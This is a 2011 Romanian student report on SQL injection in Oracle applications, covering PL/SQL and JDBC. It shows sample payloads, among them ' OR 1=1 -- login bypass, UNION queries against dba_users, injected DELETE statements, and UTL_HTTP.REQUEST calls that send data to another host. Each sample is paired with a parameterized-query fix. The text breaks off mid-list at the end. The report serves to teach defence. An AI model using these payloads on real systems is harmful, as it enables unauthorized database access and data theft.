Sunteți pe pagina 1din 25

Universitatea din București

Facultatea de Matematică și Informatică


Specializarea: Baze de Date și Tehnologii Web
Anul: II master

SQL Injection
(Referat la SecuritateaBazelor de Date)

Studenți:

Chifu Adrian-Gabriel (grupa 505)

Duma Melania (grupa 505)

Ilie Roxana (grupa 505)

București, 2011

1
Cuprins

Cuprins ............................................................................................................................ 2
Privire de ansamblu ........................................................................................................ 4
Introducere .............................................................................................................................4
Privire de ansamblu asupra SQL Injection ...............................................................................4
SQL Injection: Oracle versus alte sisteme ................................................................................5
Dezvoltarea aplicațiilor ...........................................................................................................5
SQL Injection ................................................................................................................... 5
Introducere .............................................................................................................................5
Categoriile de atacuri cu SQL Injection....................................................................................5
Ce este vulnerabil ....................................................................................................................6
Ce nu este vulnerabil ...............................................................................................................7
Tipuri de Sql Injection ..................................................................................................... 7
Manipularea codului SQL ........................................................................................................7
Code Injection .........................................................................................................................8
Injectare cu apel funcţie ..........................................................................................................9
Supraîncărcarea bufferului ...................................................................................................10
PL/SQL........................................................................................................................... 11
Instrucţiunea execute immediate .........................................................................................11
Pachetul DBMS_SQL..............................................................................................................13
Cursoare dinamice ................................................................................................................14
JDBC .............................................................................................................................. 15
PreparedStatement...............................................................................................................15
CallableStatement ................................................................................................................16
Prevenirea SQL Injection în Oracle ................................................................................ 17
Cereri parametrizate .............................................................................................................17
Validarea datelor de intrare .................................................................................................18

2
Securitatea funcțiilor apelate ...............................................................................................19
Mesajele de eroare ...............................................................................................................19
Excepții.......................................................................................................................... 21
Nume de tabele dinamice .....................................................................................................21
Clauza LIKE ............................................................................................................................21
Funcții Oracle ................................................................................................................ 22
Determinarea privilegiilor funcțiilor .....................................................................................22
Restricționarea accesului la funcții .......................................................................................23
Funcții standard ....................................................................................................................23
Funcții oferite de ORACLE......................................................................................................23
Exemple reale - SQL Injection ....................................................................................... 24
Bibliografie .................................................................................................................... 25

3
Privire de ansamblu

Introducere

Majoritatea dezvoltatorilor subestimează riscul atacurilor cu SQL Injection ce afectează


aplicațiile cu baze de date Oracle în spate. Se pare că mulți dezvoltatori de aplicații nu înțeleg în
întregime riscul atacurilor cu SQL Injection și nici tehnicile folosite pentru prevenirea unor astfel
de atacuri.

Lucrarea se adresează dezvoltatorilor de aplicații, administratorilor de baze de date și


auditorilor de aplicații și are ca scop sublinierea riscurilor atacurilor cu SQL Injection și
demonstrarea premiselor de vulnerabilitate ale aplicațiilor web. Nu se vrea a fi un tutorial
pentru realizarea de atacuri SQL și nici nu oferă nici instrucțiuni în această privință.

Privire de ansamblu asupra SQL Injection

SQL Injection este un atac de bază folosit fie pentru obținerea accesului neautorizat la o
bază de date, fie pentru extragerea informațiilor direct din baza de date. Principiile care stau la
baza SQL Injection sunt simple și aceste tipuri de atac sunt ușor de executat și stăpânit.

Orice program sau aplicație pot fi vulnerabile la SQL Injection, inclusiv procedurile stocate
executate în mod direct printr-o conexiune la o bază de date, aplicații în Oracle Forms, aplicații
web, etc. Numeroase vulnerabilități au fost descoperite în pachetele standard Oracle Database
cum ar fi DBMS_DATAPUMP, DBMS_REGISTRY și DBMS_METADATA (vezi update-ul de
importanță critică din ianuarie 2006). Aplicațiile web prezintă cel mai mare risc al acestor
atacuri de vreme ce un atacator poate exploata vulnerabilitățile la SQL Injection de la distanță
fără autentificare la nivel de bază de date sau la nivel de aplicație.

Aplicațiile web care au în spate o bază de date Oracle sunt mai vulnerabile la atacurile cu
SQL Injection decât ar crede majoritatea dezvoltatorilor. În urma unor auditări de aplicații au
fost descoperite multe aplicații web vulnerabile la SQL Injection, deși standardele de codare au
fost bine stabilite pe parcursul dezvoltării multora dintre acestea. Atacurile SQL Injection pe
baza funcțiilor reprezintă cea mai mare preocupare, de vreme ce aceste atacuri nu necesită
informații despre aplicație și pot fi ușor automatizate.

Din fericire, atacurile SQL Injection sunt ușor de combătut prin anumite procedee de
codare. Cu toate acestea, orice parametru transmis oricărui enunț SQL dinamic trebuie validat,
sau trebuie folosite variabile legate.

4
SQL Injection: Oracle versus alte sisteme

Oracle se descurcă bine în general împotriva atacurilor SQL Injection de vreme ce nu


există suport pentru cereri SQL multiple (SQL Server și PostgreSQL), nu există cererea EXECUTE
(SQL Server), și nu există funcția INTO OUTFILE (MySQL) – toate acestea fiind metode de
exploatare a vulnerabilităților la SQL Injection. În plus, utilizarea variabilelor legate în mediile
Oracle din motive de performanță oferă cea mai eficientă protecție împotriva atacurilor SQL
Injection.

Cu toate că Oracle oferă mai puține posibilități de atac pentru SQL Injection comparativ cu
alte baze de date, aplicațiile pe baza Oracle fără o protecție corespunzătoare împotriva
atacurilor pot fi vulnerabile și exploatate cu ușurință prin intermediul vulnerabilităților SQL
Injection.

Dezvoltarea aplicațiilor

Aplicațiile pot fi dezvoltate utilizând mai multe moduri de conectare la o bază de date Oracle –
unele metode sunt mai vulnerabile la SQL Injection decât altele. Vom pune accent numai pe
câteva limbaje de programare și pe câteva arhitecturi pentru aplicații care sunt folosite uzual
pentru aplicații web-based, deși tehnicile descrise ar trebui să fie relevante pentru majoritatea
limbajelor și arhitecturilor. Accentul se pune pe aplicații care folosesc fie Java și JDBC pentru
conectarea la o bază de date Oracle, fie PL/SQL drept limbaj de programare. Considerăm că
acestea două sunt cele mai uzuale metode pentru aplicațiile web-based în tandem cu baze de
date Oracle.

SQL Injection
Introducere

Atacurile prin SQL Injection sunt în esență simple – un atacator strecoară un șir de
caractere în aplicație în speranța că va reuși să manipuleze cererea SQL în avantajul său.
Complexitatea atacului implică exploatarea unei cereri SQL care poate fi necunoscută
atacatorului. Aplicațiile open-source și cele comerciale livrate alături codul sursă sunt mai
vulnerabile de vreme ce atacatorul poate descoperi potențiale vulnerabilități înaintea atacului.

Categoriile de atacuri cu SQL Injection

Sunt patru categorii principale pentru atacurile SQL Injection împotriva bazelor de date
Oracle:

5
1. Manipularea SQL
2. Injectarea codului
3. Injectarea apelurilor de funcții
4. Supraîncărcarea bufferelor.

Primele două categorii, ar trebui să fie cunoscute bine, de vreme ce sunt atacurile cel mai
frecvent descrise pentru toate tipurile de baze de date (inclusiv SQL Server, MySQL, PostgreSQL
și Oracle).

Manipularea SQL implică de obicei modificarea cererii SQL prin intermediul operațiilor
UNION sau prin alterarea clauzelor WHERE cu scopul returnării unui alt rezultat. Multe atacuri
SQL prezentate și cunoscute sunt de acest tip. Cel mai bine cunoscut atac este realizat prin
modificarea clauzei WHERE din cererea de autentificare a utilizatorilor astfel încât clauza
WHERE să fie mereu TRUE.

Injectarea codului se realizează atunci când atacatorul inserează noi cereri SQL sau
comenzi pentru baza de date într-o anumită cerere SQL. Atacul clasic prin această metodă
adaugă o comandă EXECUTE pentru SQL Server la cererea SQL vulnerabilă. Injectarea codului
funcționează numai când sunt suportate cereri SQL multiple pentru o solicitare către baza de
date. SQL Server și PostgreSQL au această capabilitate și este posibil uneori să injectezi cereri
SQL multiple și în Oracle. Vulnerabilitățile la injectarea codului SQL în Oracle implică executarea
dinamică SQL în PL/SQL.

Ultimele două categorii sunt relativ specifice atacurilor împotriva bazelor de date Oracle și
nu sunt atât de bine cunoscute și documentate. În majoritatea aplicațiilor auditate s-au
descoperit vulnerabilități la aceste două feluri de atac.

Injectarea apelurilor de funcții reprezintă inserarea de funcții pentru baze de date Oracle
sau de funcții modificate într-o cerere SQL vulnerabilă. Aceste apeluri de funcții pot fi utilizate
pentru a efectua apeluri către sistemul de operare sau pentru a manipula date din baza de
date.

Supraîncărcarea bufferelor reprezintă o subcategorie pentru injectarea apelurilor de


funcții. În unele baze de date comerciale și open-source există puține funcții vulnerabile la
supraîncărcarea buffer-ului. Sunt disponibile patch-uri pentru majoritatea vulnerabilităților, dar
multe baze de date care nu sunt open-source rămân fără patch-uri.

Ce este vulnerabil

O aplicație este vulnerabilă la SQL Injection dintr-un singur motiv – inputul de stringuri nu
este validat corespunzător și este trecut către o cerere SQL dinamică fără vreo astfel de

6
validare. De obicei stringul este trecut direct la cererea SQL. Cu toate acestea, intrarea dată de
utilizator poate fi stocată în baza de date și mai târziu să fie transmisă unei cereri SQL. Acest
procedeu se cheamă SQL Injection de ordinul doi. Din cauza lipsei de „memorie” a multor
aplicații web, este frecventă scrierea datelor în baza de date sau stocarea acestora prin alte
mijloace între paginile web. Acest atac indirect este mult mai complex și adesea necesită
cunoștințe profunde despre aplicație.

Ce nu este vulnerabil

Cererile SQL care folosesc variabile legate sunt în general protejate împotriva SQL
Injection de vreme ce baza de date folosește valoarea variabilei legate exclusiv și nu
interpretează variabila în niciun fel. PL/SQL și JDBC permit variabile legate. Variabilele legate ar
trebui să fie utilizate pe scară largă din rațiuni de securitate și performanță.

Tipuri de Sql Injection

Pentru bazele de date Oracle funcţionează patru tipuri de atacuri Sql Injection. Primele
dintre aceste tipuri, manipulări SQL si injectarea codului, sunt cele care sunt bine cunoscute şi
documentate. În schimb, ultimele dintre aceste tipuri, injectarea cu apeluri de funcţii şi atacuri
de tip supraîncărcare a bufferului, sunt cele pentru care nu există o documentaţie, ceea ce duce
la o creştere a vulnerabilităţii aplicaţiilor la ele. Toate aceste tipuri de SQL Injection sunt valide
şi pentru alte tipuri de baze date cum sunt SQL Server, DB2, MySQL şi PostgreSQL.

Manipularea codului SQL

Manipularea codului SQL reprezintă cea mai raspândită metodă de atac de tip SQL
Injection. Cel mai adesea, această metodă presupune modificarea instrucţiunii SQL prin
adăugarea de elemente clauzei WHERE sau extinderea instrucţiunii cu ajutorul operatorilor
UNION, INTERSECT, sau MINUS.

Exemplul clasic în care apare manipularea instrucţiunii SQL este în timpul operaţiunii de
autentificare. De exemplu, o aplicaţie web ar putea să facă autentificarea unui utilizator prin
executarea query-ului de mai jos şi apoi verificarea daca acesta a întors vreun rezultat:

SELECT * FROM users

WHERE username = 'bob' and PASSWORD = 'mypassword'

7
Manipulând instrucţiunea de mai sus, ca în exemplul de mai jos, bazându-se pe
precendenţa operatorilor, clauza WHERE poate deveni adevarată pentru orice linie, astfel
atacatorul primind acces la datele aplicaţiei.

SELECT * FROM users

WHERE username = 'bob' and PASSWORD = 'mypassword'

or ‘a’ = ‘a’

Operatorul pentru mulţimi, UNION, este folosit adesea în atacurile de tip SQL Injection,
scopul fiind acela de a manipula o instrucţiune SQL astfel încât să returneze rânduri dintr-un alt
tabel. Spre exemplu, un formular web poate folosi următorul query pentru a returna o listă de
produse disponibile.

SELECT product_name FROM all_products

WHERE product_name like '%Chairs%'

Atacatorul este cel care ar putea încerca să manipuleze intrucţiunea SQL de mai sus, astfel
încât să returneze atât produsele dorite, dar şi o listă a utilizatorilor bazei de date, cum se vede
în exemplul de mai jos:

SELECT product_name FROM all_products

WHERE product_name like '%Chairs'

UNION

SELECT username FROM dba_users

WHERE username like '%'

Code Injection

Atacurile de tip code injection încearcă adăugarea unor instrucţiuni sau comenzi SQL
adiţionale. Acest tip de atac este utilizat adesea împotriva aplicaţiilor de tip Microsoft SQL
Server, dar funcţionează rar în cazul aplicaţiilor ce folosesc o bază de date Oracle. Instrucţiunea
EXECUTE folosită de SQL Server reprezintă o ţintă frecventă a atacurilor de tip SQL Injection,
Oracle neavând însă o instrucţiune corespunzătoare acesteia.

În aplicaţiile de tip PL/SQL sau Java, Oracle nu permite ca o cerere către baza de date să
conţină mai multe instrucţiuni SQL. Datorită acestui lucru, atacul de mai jos nu va funcţiona
într-o aplicaţie PL/SQL sau Java ce are în spate o bază de date Oracle, şi va returna o eroare:

SELECT * FROM users

8
WHERE username = 'bob' and PASSWORD = 'mypassword';

DELETE FROM users

WHERE username = 'admin';

Însă există limbaje de programare sau diferite API-uri care permit executarea
instrucţiunilor SQL multiple. Astfel, aplicaţiile PL/SQL sau Java pot executa dinamic blocuri
PL/SQL anonime, ce sunt vulnerabile la code injection. Mai jos este prezentat un exemplu de
bloc PL/SQL ce poate fi executat într-o aplicaţie web:

BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;

Blocul PL/SQL de mai sus execută o procedură stocată ce are ca scop criptarea si salvarea
parolei unui utilizator. Un atacator ar putea să încerce manipularea blocului PL/SQL astfel:

BEGIN ENCRYPT PASSWORD('bob', 'mypassword');

DELETE FROM users

WHERE upper(username) = upper('admin'); END;

Injectare cu apel funcţie

Injectarea folosind apeluri de funcţii reprezintă o metodă de inserare a funcţiilor în cadrul


unor instrucţiuni SQL vulnerabile. Aceste apeluri de funcţii pot fi folosite pentru a face apeluri
către funcţii ale sistemului sau pot manipula informaţii din baza de date.

Oracle permite executarea funcţiilor în cadrul unei instrucţiuni SQL. Astfel, Oracle pune la
dispoziţie peste 1000 de funcţii organizate în aproximativ 175 de pachete, însă doar câteva
dintre aceste funcţii pot fi folositoare în cazul unui atac SQL Injection (cum ar fi funcţiile care
gestionează comunicarea în reţea). Pe langă aceste funcţii, orice funcţie custom poate de
asemenea fi executată într-o instrucţiune SQL.

Funcţiile executate ca parte a unei instrucţiuni SQL SELECT nu pot face nicio modificare
asupra bazei de date, decât dacă funcţia respectivă este marcată ca “PRAGMA TRANSACTION”.
În schimb funcţiile executate în cadrul instrucţiunilor INSERT, UPDATE, sau DELETE pot aduce
modificări asupra bazei de date.

Folosindu-se de funcţiile Oracle standard, un atacator poate trimite informaţii de la baza


de date către un alt calculator sau poate executa alte atacuri folosindu-se de serverul bazei de
date. Orice instrucţiune SQL dinamică este vulnerabilă, astfel încât chiar şi cele mai simple
instrucţiuni SQL pot fi exploatate, aşa cum arată exemplul de mai jos.

SELECT TRANSLATE('user input',

9
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',

'0123456789') FROM dual;

Instrucţiunea SQL de mai sus nu este susceptibilă altor tipuri de atacuri SQL Injection, dar
poate fi uşor manipulată cu ajutorul unui atac de injectare de apel funcţie. Atacatorul poate
manipula instrucţiunea SQL astfel încât să se execute ca mai jos, ceea ce va duce la executarea
cererii de afişare a unei pagini de pe un server web. De asemenea atacatorul ar putea manipula
URL-ul pentru a include şi alte funcţii ce ar putea returna informaţii din baza de date ce vor fi
apoi trimise serverului web din cadrul URL-ului.

SELECT TRANSLATE('' ||

UTL_HTTP.REQUEST('http://192.168.1.1/') || '',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789')

FROM dual;

Întrucât este permisă executarea funcţiilor custom şi funcţiilor din pachete custom, acest
lucru face ca anumite instrucţiuni SQL să fie vulnerabile. Un exemplu este reprezentat de o
aplicaţie ce are definită o funcţie ADDUSER în pachetul custom MYAPPADMIN. Funcţia a fost
marcată “PRAGMA TRANSACTION”, pentru a putea fi executată în orice situaţie specială ce ar
putea apărea. Datorită acestui lucru, această funcţie poate face scrieri în baza de date chiar şi
din cadrul unei instrucţiuni SELECT, cum se observă în exemplul de mai jos în care atacatorul
poate crea noi utilizatori ai aplicaţiei.

SELECT TRANSLATE('

' || myappadmin.adduser('admin', 'newpass') || '',


'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789')
FROM dual;

Supraîncărcarea bufferului

Atacurile de forma supraîncărcarea bufferului sunt folosite pentru a corupe execuţia unei
aplicaţii. Prin trimiterea unor date de intrare atent construite, un atacator poate face ca
aplicaţia să execute cod arbitrar, şi poate duce de asemenea la oprirea funcţionării aplicaţiei.

Anumite funcţii standard Oracle sunt vulnerabile la supraîncărcarea bufferului, lucru ce


poate fi exploatat de către un atac SQL Injection. Printre funcţiile standard Oracle vulnerabile se
numără: BFILENAME (Oracle8i, Oracle9i), FROM_TZ (Oracle9i), NUMTODSINTERVAL (Oracle8i,
Oracle9i), NUMTOYMINTERVAL (Oracle8i, Oracle9i), TO_TIMESTAMP_TZ (Oracle9i), TZ_OFFSET
(Oracle9i).

10
Pentru a împiedica atacurile de acest gen, este recomandat ca pachetele neesenţiale
lucrului cu baze de ate (DBMS_*, UTL_*) să nu fie accesibile utilizatorilor aplicaţiei.

PL/SQL

Instrucţiunile SQL pot fi executate în PL/SQL cu ajutorul: embedded SQL, cursoarelor,


instrucţiunilor execute immediate, sau pachetului DBMS_SQL. Instrucţiunile SQL embedded şi
cursoarele statice lucrează doar prin intermediul cererilor parametrizate, ceea ce le protejează
de atacurile SQL Injection. Însă, cursoarele dinamice pot fi vulnerabile la atacuri de tip SQL
injection, la fel ca si instrucţiunile execute immediate şi DBMS_SQL, deoarece permit folosirea
instrucţiunilor SQL dinamice.

Instrucţiunea execute immediate

Instrucţiunea execute immediate este folosită pentru execuţia instrucţiunilor SQL


dinamice în cadrul codului PL/SQL.

Sintaxa instrucţiunii execute immediate este următoarea:

EXECUTE IMMEDIATE dynamic_string

[INTO {define_variable[, define_variable]... | record}]

[USING [IN | OUT | IN OUT] bind_argument

[, [IN | OUT | IN OUT] bind_argument]...]

[{RETURNING | RETURN} INTO bind_argument

[,bind_argument]...];

Un exemplu de instrucţiune execute immediate ce este vulnerabilă atacurilor SQL


injection poate arăta astfel:

CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS

sqlstr VARCHAR2(1000);

code VARCHAR2(100);

BEGIN

...

sqlstr := 'SELECT postal-code FROM states WHERE state-name = ''' ||


name || '''';

11
EXECUTE IMMEDIATE sqlstr INTO code;

IF code = 'IL' THEN ...

...

END;

La prima vedere, instrucţiunea SQL nu pare a fi vulnerabilă. Nu poate fi manipulată cu


ajutorul operatorilor pe mulţimi şi nu poate fi adaugată o altă instrucţiune SQL întrucât acest
lucru nu este permis în cadrul unei instrucţiuni execute immediate, decât dacă este folosit un
bloc PL/SQL (ex: BEGIN ... END). Manipularea clauzei WHERE de asemenea nu ar aduce multe
rezultate. Însă, această instrucţiune poate fi exploatată cu uşurinţă, prin inserarea unor funcţii
standard (ex: UTL_HTTP) care ar putea duce la supraîncărcarea bufferului.

Pentru a preveni atacurile SQL Injection şi pentru a îmbunătăţi performanţa aplicaţiei, ar


trebui folosite întotdeauna cereri parametrizate.

CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS

sqlstr VARCHAR2(1000);

code VARCHAR2(100);

BEGIN

...

sqlstr := 'SELECT postal-code FROM states WHERE state-name = :name';

EXECUTE IMMEDIATE sqlstr USING name INTO code;

IF code = 'IL' THEN ...

...

END;

Instrucţiunea execute immediate poate utiliza şi blocuri PL/SQL anonime, ceea ce o face
vulnerabilă la atacuri SQL Injection întrucât un atacator ar putea încerca inserarea mai multe
instrucţiuni SQL.

CREATE OR REPLACE PROCEDURE demo(value IN VARCHAR2) AS

BEGIN

...

-- vulnerable

12
EXECUTE IMMEDIATE 'BEGIN updatepass(''' || value || '''); END;'; --
not vulnerable

cmd := 'BEGIN updatepass(:1); END;';

EXECUTE IMMEDIATE cmd USING value;

...

END;

Pachetul DBMS_SQL

Pachetul DBMS_SQL permite execuţia instrucţiunilor de SQL dinamic, având aceleaşi


funcţionalităţi ca şi instrucţiunea execute immediate. La fel ca şi în cazul instrucţiunii execute
immediate, ar trebui folosite întotdeauna cereri parametrizate în locul concatenării părților ce
formează stringul SQL.

Procedura prezentată mai jos foloseşte pachetul DBMS_SQL şi este vulnerabilă la atacuri:

CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS

cursor_name INTEGER;

rows_processed INTEGER;

sqlstr VARCHAR2(150);

code VARCHAR2(2);

BEGIN

...

sqlstr := 'SELECT postal-code FROM states WHERE state-name = ''' ||


name || '''';

cursor_name := dbms_sql.open_cursor;

DBMS_SQL.PARSE(cursor_name, sqlstr, DBMS_SQL.NATIVE);


DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10); rows_processed :=
DBMS_SQL.EXECUTE(cursor_name);
DBMS_SQL.CLOSE_CURSOR(cursor_name);

...

END;

13
În schimb, aceeaşi procedură care foloseşte cereri parametrizate nu mai este susceptibilă
atacurilor, cum se vede în exemplul de mai jos:

CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS

cursor_name INTEGER;

rows_processed INTEGER;

sqlstr VARCHAR2;

code VARCHAR2;

BEGIN

...

sqlstr := 'SELECT postal-code FROM states WHERE state-name = :name';


cursor_name := dbms_sql.open_cursor;

DBMS_SQL.PARSE(cursor_name, sqlstr, DBMS_SQL.NATIVE);


DBMS_SQL.DEFINE_COLUMN(cursor_name, 1, code, 10);
DBMS_SQL.BIND_VARIABLE(cursor_name, ':name', name); rows_processed :=
DBMS_SQL.EXECUTE(cursor_name);
DBMS_SQL.CLOSE_CURSOR(cursor_name);

...

END;

Cursoare dinamice

PL/SQL permite folosirea cursoarelor statice şi a celor dinamice. La fel ca şi instrucţiunea


execute immediate sau instrucţiunile DBMS_SQL, instrucţiunile cursor pot fi vulnerabile la
atacuri cum se vede în exemplul de mai jos. Însă ele pot fi generate în mod dinamic prin
folosirea cererilor parametrizate, ceea ce le protejează de atacurile SQL Injection.

CREATE OR REPLACE PROCEDURE demo(name IN VARCHAR2) AS

sqlstr VARCHAR2;

...

BEGIN

...

sqlstr := 'SELECT * FROM states WHERE state-name = ''' || name ||


'''';

14
OPEN cursor_states FOR sqlstr;

LOOP

FETCH cursor_states INTO rec_state

EXIT WHEN cursor_states%NOTFOUND;

...

END LOOP;

CLOSE cursor_status;

...

END;

JDBC

JDBC (Java Database Connectivity) reprezintă o interfaţă Java standard ce gestionează


lucrul cu o bază de date relaţională. De asemenea, este folosită de foarte multe arhitecturi Java
pentru a realiza conectarea la o bază de date Oracle, cum sunt Java Server Pages (JSP), Java
Servlets, sau Enterprise Java Beans (EJB).

Prin definiţie toate instrucţiunile SQL dintr-o aplicaţie JDBC sunt dinamice. Acestea pot fi
executate cu ajutorul interfeţei Statement, mai precis a interfeţelor CallableStatement şi
PreparedStatement. Din perspectiva SQL Injection, atât Callable Statement cât şi
PreparedStatement pot fi vulnerabile.

În Oracle, în cadrul unui apel de tip PreparedStatement se poate executa o singură


instrucţiune SQL, spre deosebire de alte baze de date (ex: SQL Server) ce permit execuţia mai
multor instrucţiuni într-un singur apel.

PreparedStatement

Interfaţa PreparedStatement este folosită pentru execuţia instrucţiunilor de tip SQL


dinamic. De asemenea poate fi folosită interfaţa OraclePreparedStatement în cazul în care sunt
necesare tipuri de date specifice Oracle.

O instrucţiune PreparedStatement care e vulnerabilă la SQL Injection este prezentată în


exemplul de mai jos:

String name = request.getParameter("name");

15
PreparedStatement pstmt =

conn.prepareStatement("insert into EMP (ENAME) values ('" + name +


"')"); pstmt.execute();

pstmt.close();

Pentru a preveni SQL Injection, o variabilă de legătură trebuie să fie folosită:

PreparedStatement pstmt =

conn.prepareStatement ("insert into EMP (ENAME) values (?)");

String name = request.getParameter("name");

pstmt.setString (1, name);

pstmt.execute();

pstmt.close();

CallableStatement

Interfaţa CallableStatement este folosită pentru execuţia procedurilor stocate PL/SQL şi a


blocurilor anonime PL/SQL. De asemenea poate fi folosită interfaţa OracleCallableStatement
dacă sunt necesare tipuri de date specifice Oracle.

Instrucţiunea CallableStatement are două forme de bază în funcţie de tipul de apel:


procedură stocată sau bloc PL/SQL anonim. Apelul de bloc PL/SQL anonim este mult mai
vulnerabil la SQL Injection întrucât permite execuţia instrucţiunilor SQL şi a comenzilor PL/SQL
multiple.

Procedura stocată

prepareCall( "{call proc (?,?)}" );

Bloc PL/SQL anonim

prepareCall("begin proc1(?,?); ? := func1(?);

...; end;");

Mai jos este prezentat un bloc PL/SQL anonim, care este vulnerabil la atacuri:

String name = request.getParameter("name");

String sql = "begin ? := GetPostalCode('" + name + "'); end;";

CallableStatement cs = conn.prepareCall(sql);

16
cs.registerOutParameter(1, Types.CHAR);

cs.executeUpdate();

String result = cs.getString(1);

cs.close();

În cadrul unui atac, inputul ar putea fi cu mult diferit față de cel așteptat de către
dezvoltator:

begin ? := GetPostalCode('Illinois'); end;

begin ? := GetPostalCode(''); delete from users; commit; dummy('');


end;

begin ? :=
GetPostalCode(''||UTL_HTTP.REQUEST('http://192.168.1.1/')||''); end;

Cea mai simplă metodă de a preveni acest lucru este de a folosi cereri parametrizate:

String name = request.getParameter("name");

CallableStatement cs = conn.prepareCall ("begin ? :=


GetStatePostalCode(?); end;");
cs.registerOutParameter(1,Types.CHAR);

cs.setString(2, name);

cs.executeUpdate();

String result = cs.getString(1);

cs.close();

Prevenirea SQL Injection în Oracle

Cel mai eficient mod de a proteja o aplicaţie şi de a preveni atacurile rău intenţionate
asupra sa, este de a proiecta şi de a implementa un anumit nivel de securitate programului din
start. Din păcate, echipelor de dezvoltare, de obicei le lipsesc antrenamentul necesar şi
resursele pentru a lua o decizie satisfacatoare asupra proiectării securitaţii aplicaţiei.

Cereri parametrizate

Una dintre cele mai puternice tehnici de protecție împotriva atacurilor SQL Injection
folosește așa numitele cereri parametrizate. Utilizarea lor va îmbunătăți de asemenea
performanța aplicației.

17
Interogările parametrizate tratează datele introduse ca pe nişte valori făcând parte din
comenzile SQL, în acest fel făcând imposibil ca serverul să trateze interogările parametrizate ca
şi cod executabil. Chiar dacă se utilizează procedurile stocate, parametrizarea inputului este
necesară, pentru că procedurile stocate nu oferă protecţie împotriva SQL Injection.

Scrierea codului standard Oracle al unei aplicații ar trebui să impună folosirea cererilor
parametrizate sau invocarea procedurilor stocate care sunt un caz particular de invocare al unei
cereri parametrizate. În cazul în care acest lucru nu este posibil, se recomandă crearea unor
interogări dinamice, dar cu argumentele transmise ca parametrii. Nici o comandă SQL nu
trebuie creată prin concatenarea șirurilor de caractere.

Cererile parametrizate trebuie folosite pentru fiecare comandă SQL indiferent de când sau
unde este executată această comandă.

Un atac SQL Injection foarte complex ar putea eventual să exploateze o aplicație prin
stocarea unui șir de atac în baza de date, care va fi executat mai târziu de o comandă SQL
dinamic. Acest gen de atac poartă numele de atac SQL Injection de ordinul 2.

În capitolele precedente PL/SQL și JDBC s-a demonstrat cât de folositoare sunt aceste
cereri parametrizate pentru eliminarea vulnerabilităților SQL Injection. Utilizarea cererilor
parametrizate este simplă, dar necesită cel puțin încă o linie de cod pentru fiecare variabilă.
Întrucât o comandă SQL tipică poate folosi până la 10-20 de valori, efortul depus pentru
realizarea codului suplimentar ce va securiza aplicația este substanțial.

Validarea datelor de intrare

Cea mai utilizată metodă şi mai puţin costisitoare ca timp, o reprezintă validarea datelor
primite la intrare prin identificarea tuturor posibilelor meta-caractere care ar putea fi utilizate
de către sistemul de baze de date şi de filtrare a acestora, atunci când sunt transformate în
comenzi ce vor accesa baza de date.

Orice date de intrare introduse de către utilizatori, fie direct în aplicaţia web sau deja
stocate, trebuie să fie validate după tipul serverului, lungime sau format, înainte de a fi trimise
mai departe.

În cazul bazelor de date Oracle, caracterul ce ar putea pune în pericol securitatea bazei de
date, este apostroful. Oracle interpretează ghilimelele simple consecutive ca un literal SQL, iar
cea mai simplă metodă de a rezolva această problemă este de a le elimina.

De exemplu, dacă dintr-un motiv sau altul, în loc de numele de utilizator, cineva introduce
șirul de caractere ' OR 1 = 1 -- , comanda SQL procesată devine:

18
SELECT COUNT(*) FROM users

WHERE username = '' OR 1 = 1 -- AND password = '...'

În acest exemplu, problema apare la primul apostrof care va deveni perechea celui care
deschide șirul reprezentând numele utilizatorului. Condiția 1=1 este adevărată întotdeauna, iar
operatorul OR este adevărat dacă unul din membri este adevărat. Șirul de caractere --
reprezintă un comentariu, iar restul textului după acesta va fi ignorat. Atunci expresia din clauza
WHERE va forța alegerea unui nume de utilizator valid, deoarece intrucțiunea SQL este
adevărată tot timpul.

Folosirea cererilor parametrizate și eliminarea apostrofurilor nu trebuie folosite


concomitent pentru același șir de caractere. O cerere parametrizată va stoca în baza de date
exact datele primite la intrare, iar eliminarea apostrofurilor va avea ca rezultat stocarea
ghilimelelor duble în baza de date.

Securitatea funcțiilor apelate

Funcțiile standard de creare și executare a instrucțiunilor SQL pot fi exploatate în atacurile


SQL Injection. Multe dintre aceste funcții pot fi folosite eficace într-un atac.

Oracle are la bază sute de funcții standard, care implicit, pot avea acordate drepturi
PUBLIC. Aplicația trebuie să conțină funcții suplimentare care să execute operații precum
schimbarea parolelor sau crearea unor useri care ar putea să fie exploatați printr-un eventual
atac.

Toate funcțiile care nu sunt absolut necesare aplicației ar trebui limitate.

Mesajele de eroare

Vulnerabilitățile SQL Injection pot fi testate trimițând aplicației date care vor genera
interogări SQL invalide. Dacă în urma unui atac SQL Injection, serverul returnează mesaje de
eroare, informația poate fi folosită pentru a obține sursa codului aplicației sau pentru a avea un
acces necontrolat la baza de date.

Acesta este punctul de plecare pentru cele mai populare atacuri SQL Injection.

Însă, ascunderea mesajelor de eroare nu are ca efect oprirea atacului. În cazul în care un
atac eşuează, atacatorul poate utiliza informaţia din mesajele de eroare furnizate de server sau
aplicaţie, pentru a lansa un alt atac.

19
Un atac ce utilizează vulnerabilitatea SQL Injection ar putea dezvălui structura unui tabel,
a bazei de date, sau să expună logica de interogare, şi posibil chiar parole sau informaţii
sensibile utilizate în interogare.

Datele obţinute din exploatarea acestei vulnerabilităţi pot avea impact ridicat sau chiar
critic asupra confidenţialităţii sistemului. Însă, aceste date la rândul lor reutilizate într-un nou
atac, fie similar, fie altul complet diferit, care ar putea compromite sistemul informaţional din
punct de vedere al confidenţialităţii, integrităţii şi disponibilităţii.

De exemplu, dacă în codul aplicației există o cerere de genul:

SELECT username
FROM users
WHERE userid = '<user_input>';

Un posibil atacator va introduce următorul cod:

10 union select top 1 table_name from information_shema.tables

va avea ca rezultat, după concatenarea string-urilor:

SELECT username

FROM users

WHERE userid = 10

UNION SELECT top 1 table_name

FROM information_shema.tables;

Serverul va eșua în efectuarea operației UNION între 10 și coloanele de tip varchar din
comanda select și va returna ca eroare : eroare de sintaxa în convertirea
coloanei din tabelul ”mytable” la o coloană de tipul int,
dezvăluind faptul că în baza de date există un tabel cu numele ”mytable”.

Pentru a evita un atac SQL Injection bazat pe mesajele de eroare primite de la serverul
aplicației, programatorul trebuie să aibă în vedere:

